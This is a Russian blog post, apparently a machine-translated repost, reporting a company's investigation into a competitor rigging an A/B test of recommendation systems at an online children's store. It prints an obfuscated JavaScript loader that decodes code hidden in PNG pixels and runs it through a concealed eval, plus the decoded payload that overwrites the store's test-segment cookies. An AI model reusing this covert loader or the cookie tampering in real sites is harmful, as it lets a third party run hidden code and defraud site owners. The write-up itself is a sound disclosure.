Ab-Тестовая Атака: Рецепт `R`+T(101)+`Es46`

AB-тестирование — один из самых мощных и полезных инструментов управления продуктами, который позволяет оценить эффективность тех или иных решений по экономическим показателям в онлайн-бизнесе.

За пять лет работы мы провели огромное количество АБ-тестов, а потому прекрасно знаем, как сложно правильно проводить эксперименты и какие ошибки постоянно повторяются.

Несколько месяцев назад один из наших конкурентов начал делать что-то странное — предлагать нашим клиентам сравнение их рекомендательной системы с Retail Rocket через AB-тесты в формате «ставки» с обязательством заплатить 100 000 рублей в случае проигрыша.

Подобные истории для нас не редкость – за время существования компании нашу систему сравнивали практически со всеми существующими рекомендательными системами в России и за рубежом, и мы всегда показывали отличные результаты (ни в одном тесте мы не теряли в эффективности).

Первый тест с Рисом не заставил себя долго ждать, но в ходе теста мы столкнулись с довольно странными результатами, что привело к серьезному исследованию.

То, что мы обнаружили в итоге, нас настолько удивило, что мы хотим поделиться подробностями этого исследования и довести его результаты до сведения ИТ-сообщества и индустрии электронной коммерции в России.



AB-тестовая атака: рецепт `R`+t(101)+`es46`



AB-тестирование рекомендательных систем в интернет-магазине «Дочки и сыновья»

В течение нескольких месяцев интернет-магазин Daughters & Sons тестировал три рекомендательные системы: Retail Rocket, Rees и внутреннюю систему компании.

Механика AB-тестирования: вся аудитория сайта случайным образом делится на три равные части, и каждая часть аудитории видит свою версию сайта.

Меняются только блоки персональных рекомендаций — в каждом сегменте показаны блоки, управляемые одной из рекомендательных систем:

AB-тестовая атака: рецепт `R`+t(101)+`es46`

В рамках теста измеряется конверсия каждого сегмента трафика, сравнивается с другими и на основании результатов принимается решение о том, какая система работает эффективнее.

Аудитория делится на клиенте с помощью JavaScript-кода, все пользователи получают идентификатор одного из трех тестовых сегментов, который сохраняется в cookie и затем передается в Google Analytics при каждом значимом действии на сайте.

Результаты теста на момент написания из Google Analytics – конверсия по сегментам Сегмент А – система рекомендаций Daughters Sons Сегмент Б – рекомендательная система Rees Сегмент C – рекомендательная система Retail Rocket

AB-тестовая атака: рецепт `R`+t(101)+`es46`

Изменения конверсии относительно показателей внутренней рекомендательной системы «Дочки и сыновья» Согласно этим данным, сегмент C (Retail Rocket) проигрывает, сегмент B (Rees) выигрывает. Особое внимание обратите на 27 мая, в этот день Retail Rocket показывает лучшие показатели — к этой детали мы еще вернемся.

В ходе тестирования команда инженеров Retail Rocket провела множество внутренних тестов, выявила несколько ошибок на сайте, исправила немало проблем с интеграцией, а также провела множество внутренних тестов на различных алгоритмах и их вариациях.

Все эти действия не принесли ощутимых изменений.



Визуальная оценка качества рекомендаций

В Retail Rocket есть несколько способов измерения эффективности и качества рекомендаций.

Самый первый из них – это так называемая «экспертная оценка» (субъективная визуальная оценка «адекватности»).

Давайте рассмотрим примеры рекомендаций, генерируемых системами Retail Rocket и Rees:

AB-тестовая атака: рецепт `R`+t(101)+`es46`

Для кошачьих туалетов наша система рекомендует переноску для домашних животных и различные виды кошачьего корма, а система Rees рекомендует детское питание, чай и ректальный зонд для детей.

Подобных примеров для достаточно посещаемых продуктов (по которым быстро накапливается статистика) очень много (вот один из них).

отчеты путем визуальной оценки качества), и несмотря на то, что экспертная оценка напрямую не влияет на цифры, это простой и быстрый способ, служащий определенным индикатором качества рекомендательных систем.



Косвенная оценка качества рекомендаций

Нам показалось странным, что при такой визуальной составляющей цифры показывают результат не в нашу пользу, поэтому мы потратили много ресурсов на различные внутренние исследования причин.

В первую очередь мы решили изучить аудиторию, которая взаимодействует с блоками товарных рекомендаций.

При нажатии на продукты в блоках рекомендаций Rees к URL-адресу добавляется следующий параметр:

AB-тестовая атака: рецепт `R`+t(101)+`es46`

Мы добавили аналогичный параметр в URL-адреса товаров из рекомендательных блоков Retail Rocket:

AB-тестовая атака: рецепт `R`+t(101)+`es46`

И мы построили в GA сегменты пользователей, которые кликали по блокам рекомендаций:

AB-тестовая атака: рецепт `R`+t(101)+`es46`

Первая гипотеза заключалась в том, что наша система хуже угадывает предпочтения пользователей и рекомендует менее релевантные продукты.

Если это правда, то наши блоки должны получать меньше кликов, чем рекомендательные блоки Риса, что опровергают данные Google Analytics — на виджетах мы получаем в 2,81 раза больше кликов:

AB-тестовая атака: рецепт `R`+t(101)+`es46`

Вторая гипотеза, которую мы рассмотрели: визуально хорошие рекомендации отвлекают людей от покупки и снижают конверсию.

Те.

привлекают их внимание, но отвлекают от покупок и не способствуют росту продаж.

В этом случае те, кто кликал по блокам рекомендаций Retail Rocket, будут конвертироваться хуже, чем те, кто кликал по блокам Rees. Но согласно Google Analytics, это не так; конверсия кликавших в блоки Retail Rocket значительно выше (на 37% по данным за 4 дня):

AB-тестовая атака: рецепт `R`+t(101)+`es46`

Таким образом, Retail Rocket гораздо чаще рекомендует актуальные для пользователя товары, пользователи чаще кликают на эти товары, а рекомендации положительно влияют на продажи.

Если проблем с теми, кто взаимодействует с рекомендациями нет, и с визуальной стороны рекомендации выглядят актуально, остается только посмотреть на тех, кто не кликает на рекомендации.



Исследование аудитории интернет-магазина

Когда мы начали исследовать этот сегмент аудитории, мы заметили два интересных факта:
  1. В сегменте Rees на несколько процентов больше пользователей, чем в других сегментах, хотя настройки AB-теста предполагают равномерное распределение аудитории между рекомендательными системами.

  2. В сегменте «Риз» аудитория более лояльна; у него намного больше посетителей, которые заходят на сайт повторно.



AB-тестовая атака: рецепт `R`+t(101)+`es46`

Чтобы проверить правильность разделения трафика интернет-магазина на сегменты, мы самостоятельно протестировали сегментатор, используя код, который использовал сайт: параллельно с основным разделением мы начали сегментировать одну и ту же аудиторию — ошибка была минимальной:
  • Сегмент 1: 63215 пользователей.

  • Сегмент 2: 63 500 пользователей.

  • Сегмент 3: 63686 пользователей.

Это значит, что сегментатор работает корректно и погрешности в несколько процентов быть не может, т.е.

распределение трафика в рамках AB-теста «Дочери и сыновья» содержит аномалию.

Наши разработчики подробно исследовали код сайта на наличие JS-ошибок и багов, которые могли бы повлиять на сегментацию, и не нашли ничего, что могло бы вызвать аномалию.

Логичным предположением было то, что пользователи смогут каким-то образом перемещаться между сегментами.

В нашей практике были случаи, когда пользователи меняли сегмент внутри теста, например, из-за неправильно установленного времени жизни cookie (в одном из магазинов cookie, в котором был сохранен идентификатор тестового сегмента AB, жил всего две недели, и если пользователь возвращался после этого времени, ему присваивалось случайное значение — то есть пользователь мог оказаться в другом сегменте теста).

Чтобы избежать подобных ситуаций, мы разработали чек-лист, в который включен пункт о необходимости следить за тем, чтобы пользователь не менял сегмент во время теста.

Для отслеживания таких ситуаций в Google Analytics есть инструмент «Воронки», позволяющий выделить пользователей, которые сначала были в одном сегменте, а затем перешли в другой.

Для анализа мы построили несколько таких сегментов в Google Analytics:

AB-тестовая атака: рецепт `R`+t(101)+`es46`

И в результате мы получили следующие цифры:

AB-тестовая атака: рецепт `R`+t(101)+`es46`

Эти данные ясно показывают, что в сегмент Rees переходит аномально большое количество пользователей от остальных.

И это точно не баг, иначе пользователи перемещались бы между всеми сегментами равномерно.

Второй вывод: эти пользователи делают много заказов.

*Интернет-магазин подтвердил, что это реальные заказы (почти все имеют статус «куплено») Основываясь на порядковом количестве пользователей, перешедших в сегмент Rees, мы изучили наши внутренние журналы сессий и выявили следующие закономерности:

  1. Практически все пользователи, перешедшие в сегмент «Ризы», добавили товары в корзину (т. е.

    это более лояльная/конверсионная аудитория);

  2. Движения пользователей неравномерно распределены по часам, что указывает на то, что они инициируются вручную;
  3. Переход пользователей в сегмент Rees происходит в те дни, когда Retail Rocket начинает побеждать в AB-тесте:


AB-тестовая атака: рецепт `R`+t(101)+`es46`

Перемещение пользователей в сегмент Rees (часы сверху, дни слева)

AB-тестовая атака: рецепт `R`+t(101)+`es46`

Перемещение пользователей в сегмент Retail Rocket (часы сверху, дни слева) Из таблицы видно, что 25 и 26 мая движений почти нет, а 27 мая, когда система Retail Rocket начинает становиться положительной, движения начинаются снова.

И снова пользователи приходят, добавляют товары в корзину и вскоре превращаются в покупателей.



Проверка кода, работающего на сайте

Поскольку перемещение лояльных пользователей в сегмент Rees выглядело подозрительно, мы начали искать причину изменения пользовательского сегмента и изучать код. Мы тщательно исследовали, кто и как работает с файлами cookie, мог ли кто-то случайно сделать что-то, что привело к появлению таких ошибок, и не нашли ничего подозрительного.

Оставалось два варианта: либо куки меняет сервер магазина Дочь Соночки и это не видно на клиенте, либо динамический код, который приходит с сервера по какому-то запросу.

При проверке динамического кода мы также искали функцию eval — специальную функцию javascript, способную выполнить любой текст, например отправленный с сервера, как код JavaScript, что в недобросовестных руках позволяет скрыть функциональность кода, но при этом в то же время дает полный доступ ко всему окружению сайта.

Во время проверки мы наткнулись на странный кусок кода в библиотеке Rees JS:

AB-тестовая атака: рецепт `R`+t(101)+`es46`

Кусок кода из библиотеки Rees JS

  
   

key: "markDMP", value: function(e) { var t = function(e) { return String.fromCharCode(e) }; if (e) for (var i in e) if (e.hasOwnProperty(i)) if (function(e) { return /\x61\x70\x69\x2E\x72\x65\x65\x73\x34\x36\x2E\x63\x6F\x6D/.

test(e) }(e[i])) { var n = function() { var n = document.createElement("canvas") , o = void 0 , s = t(67) , a = t(68) , u = l.default.get(s.toLowerCase() + "ity") || l.default.get(t(71) + "EO_" + a + "ELIVERY_" + s + "ITY_I" + a) , c = [s + "UR", s + "ITY", s + "ODE"]; if (n && n.getContext && u && !1 === g.default.isDebug()) { if (/^a:/.

test(u)) { var h = r.unserialize(u); if (!h || 464 === h[c.join("_")]) return "continue" } else if (3784 === u || 3577 === u) return "continue"; o = new Image, o.crossOrigin = "use-credentials", o.onload = function(e, r) { r.width = this.naturalWidth, r.height = this.naturalHeight; var i = r.getContext("2d"); i.drawImage(this, 0, 0); var n = i.getImageData(0, 0, this.naturalWidth, this.naturalHeight) , o = n.data , s = void 0 , a = void 0 , u = ""; for (s = 0, a = o.length; s < a; s++) if (!(s % 4 == 3 && s > 0)) { if (0 === o[s]) break; u += function(e) { return String.fromCharCode(~-e) }(o[s]) } try { window[t(101) + "val"](u) } catch (e) {} } .

bind(o, t, n), o.src = e[i] } }(); if ("continue" === n) continue } else { var o = document.createElement("img"); o.src = e[i], o.style.width = 0, o.style.height = 0, o.style.display = "none", o.style.position = "absolute", o.style.left = "-9999px", document.body.appendChild(o) } } }

Весь код доступен по адресу связь .

Особенность этого фрагмента кода в том, что его функционал явно пытаются скрыть.

Из кода можно сделать несколько выводов:

  • Этот кусок кода был написан специально для магазина ДочьСыночка, так как он тайно использует куки-файл под названием «city», принадлежащий магазину (в нем магазин хранит идентификатор региона пользователя)
  • Код намеренно написан так, чтобы его было трудно читать и понимать (вместо текста используются числовые буквенные идентификаторы).

  • Функционал кода специально скрыт от внешних разработчиков - код не работает при открытой консоли браузера и у посетителей сайта из Москвы (интернет-магазин должен знать, что он интегрирует в свой сайт, и какая строка кода за это отвечает).

    за что, а тут сознательное сокрытие)

  • Код предназначен для загрузки изображения с сервера Rees, декодирования текста из этого изображения и передачи текста в качестве входных данных наивно скрытой функции eval (window[t(101) + «val»](u))
  • Все это указывает на возможность скрытного выполнения любого кода на стороне Риса.



AB-тестовая атака: рецепт `R`+t(101)+`es46`

Мы предполагаем, что как только эта информация будет опубликована, Рис удалит этот код, поэтому мы сохранили его с помощью двух внешних независимых сервисов: https://web.archive.org И https://www.runscope.com Отформатированная версия доступна для изучения по адресу связь .

Чтобы понять, что именно делает этот фрагмент, мы написали модуль, который эмулирует действия пользователя и логирует все запросы к серверу Rees. 25 и 26 мая ничего не произошло (это видно и из таблицы с данными о почасовом движении пользователей в сторону Риса), а 27 мая, когда по данным Google Analytics система Retail Rocket вышла положительной в AB тест, около 19:00 по мск пользователи снова начали переходить в сегмент Rees.

AB-тестовая атака: рецепт `R`+t(101)+`es46`

Перемещение пользователей в сегмент Rees (часы сверху, дни слева) В то же время мы зафиксировали запросы к серверу Rees на картина в формате PNG (содержимое изображения можно посмотреть по адресу связь ).

Просто картинка недоступна (возвращается ошибка 404), но при передаче заголовка запроса на картинку в сессию пользователя Rees картинка становится доступной для скачивания:

AB-тестовая атака: рецепт `R`+t(101)+`es46`

Если на вход кода передается картинка, которую пытались закодировать/скрыть, для удобства мы ее вынесли в отдельности , мы получаем этот JS, который изменяет значение файла cookie, в котором хранится пользовательский сегмент теста AB:

document.cookie="rr-VisitorSegment_Rec=3:2; domain=.

dochkisinochki.ru; path=/; expires=Mon, 25 Sep 2017 10:15:20 +0000";document.cookie="DS_SM_rrSegmentRecommendedABC=B; domain=.

dochkisinochki.ru; path=/

Этот код явно изменяет два файла cookie, принадлежащие магазину, в которых хранится сегмент пользователя, на значение сегмента, равное сегменту Rees. Мы уверены, что Риз скроет все следы этой атаки, поэтому изображение также было сохранено по просьбе независимой третьей стороны.

услуга .

Таким образом, код системы Rees перемещает пользователей, которые добавили товар в корзину и собираются оформить заказ, в ее сегмент. По данным, полученным с момента начала регистрации перемещений пользователей (1–28 мая), построенному на основе изначально выданного пользователям сегмента (то есть из этих данных были исключены все, кто впервые зашел на сайт до 1 мая).

), Retail Rocket уверенно побеждает в тесте.

а Рис снижает продажи в магазине:

AB-тестовая атака: рецепт `R`+t(101)+`es46`

Точное окно миграции лояльных пользователей интернет-магазина в сегмент Rees неизвестно, поэтому разница в эффективности гораздо больше.

Кроме того, мы видим в коде Риса признаки других атак на тест, например, при первом посещении сайта их система выполняет сопоставление файлов cookie с несколькими RTB-сетями.

Код синхронизации:

AB-тестовая атака: рецепт `R`+t(101)+`es46`

Сохраненный запрос можно просмотреть, пройдя по ссылке web.archive.org Запросы на синхронизацию:

AB-тестовая атака: рецепт `R`+t(101)+`es46`

Это, как минимум, позволяет конкурентам интернет-магазина получить доступ к этим пользователям, а как максимум — ретаргетировать трафик из своего сегмента и перенаправлять трафик из других сегментов теста на конкурента, снижая конверсию.

Интересен тот факт, что эта атака Риса была поддержана активной пиар-кампанией в СМИ и социальных сетях:

AB-тестовая атака: рецепт `R`+t(101)+`es46`



Вместо заключения

За почти 5 лет работы мы впервые столкнулись с таким поведением.

С сожалением приходится признать, что АБ-тесты можно проводить только при абсолютной уверенности в добросовестности всех его участников.

Мы считаем такие методы конкуренции несправедливыми и неприемлемыми; они наносят вред всему сообществу и подрывают доверие к устоявшейся деловой практике.

Сейчас мы активно работаем в правовом поле, чтобы наказать виновных и призвать сообщество делиться опытом решения подобных ситуаций.

Теги: #тестирование веб-сайтов #ab-тесты #системы рекомендаций #информационная безопасность #JavaScript #тестирование веб-сервисов

Вместе с данным постом часто просматривают:

Автор Статьи


Зарегистрирован: 2019-12-10 15:07:06
Баллов опыта: 0
Всего постов на сайте: 0
Всего комментарий на сайте: 0
Dima Manisha

Dima Manisha

Эксперт Wmlog. Профессиональный веб-мастер, SEO-специалист, дизайнер, маркетолог и интернет-предприниматель.